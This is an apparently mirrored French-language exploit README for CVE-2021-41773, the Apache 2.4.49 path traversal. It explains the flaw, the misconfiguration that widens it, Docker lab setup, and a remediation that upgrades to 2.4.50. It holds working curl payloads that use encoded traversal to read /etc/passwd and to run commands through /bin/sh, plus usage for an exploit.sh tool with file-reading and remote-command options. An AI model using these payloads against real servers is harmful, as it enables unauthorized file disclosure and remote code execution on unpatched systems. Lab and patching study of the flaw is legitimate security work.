Share
## https://sploitus.com/exploit?id=628A345B-5FD8-5A2F-8782-9125584E4C89
# CVE-2021-41773 
Path Traversal in Apache HTTP Server 2.4.49

---

## Résumé

Une vulnérabilité a été découverte sur la version 2.4.49 de apache.

Cette vulnérabilité permet une attaque LFI (Local File Inclusion) permettant de lire le contenu de fichiers normalement innaccessible.

Dans la configuration par défaut, l'exploitation de cette vulnérabilité nous permet de lire tous les fichiers du répertoire CGI-BIN ainsi que du répértoire racine du service web (/usr/local/apache2/htdocs par défaut). Cela donne la possibilité à un attaquant de lire le code source de fichier interprété tel que des fichiers php ou cgi-bin.

Une mauvaise configuration de ce service permet d'élargir la vulnérabilité à une inclusion de fichier de tous le systÚme (sous-réserve de disposer des droits d'accÚs) ainsi qu'une RCE (Remote Command Execution).

## Proof Of Concepts

### PoC Installation par défaut

Je ne partagerais pas de PoC avec l'installation par défaut car voir le code source d'une page html n'est pas des plus utile et je ne connais pas de conteneur Docker tournant sous apache 2.4.49 avec php d'activé afin de faire un poc digne de ce nom.

### POC LFI accrue par mauvaise configuration

#### Explication

La configuration par défaut présente ci-dessous est souvent modifié afin d'en alléger la sécurité.

```xml
<Directory />
    AllowOverride none
    Require all denied
</Directory>
```
C'est lors de la suppression du paramÚtre "Require all denied" que le service devient vulnérable.

En effet, cela permet à l'attaquant, de lire le contenu de tous les fichiers présents sur le systÚme.

```xml
<Directory />
    AllowOverride none
</Directory>
```

#### Docker Vulnérable

##### Création de l'image vulnérable

> cd apache_lfi_all

> docker image build -t vuln_apache_lfi .

##### Lancement du conteneur

> docker run --name conteneur_vuln_apache_lfi -p 8080:80 vuln_apache_lfi

#### POC
> curl --silent --path-as-is --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" -v


### POC RCE

#### Explication

Si l'exécution des cgi-bin est activé, il est alors possible d'exécuter des commandes à distances.

#### Docker Vulnérable

##### Création de l'image 

> cd apache_rce

> docker image build -t vuln_apache_rce .


##### Lancement du conteneur

> docker run --name conteneur_vuln_apache_rce -p 8080:80 vuln_apache_rce

#### POC

> curl -d "echo;id" --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

## Exploit

- -h [IP] -> pour définir l'adresse ip cible
- -c pour -> Pour vérifier les deux vulnérabilités
- -r [CMD] -> Pour exécuter une commande à distance
- -l [PATH] -> Pour afficher le contenu d'un fichier

Exemple test de vulnérabilités : 
> ./exploit.sh -c -h 127.0.0.1:8080

Exmple exploitation LFI :
> ./exploit.sh -h 127.0.0.1:8080 -l /etc/passwd

Exemple exploitation exécution de commande :
> ./exploit.sh -h 127.0.0.1:8080 -r id

## Remediation
Afin de corriger cette vulnérabilité, il est nécéssaire de mettre à jour apache vers la version 2.4.50

## Source
https://www.lemondeinformatique.fr/actualites/lire-des-entreprises-francaises-plus-numeriques-mais-aussi-plus-vulnerables-84362.html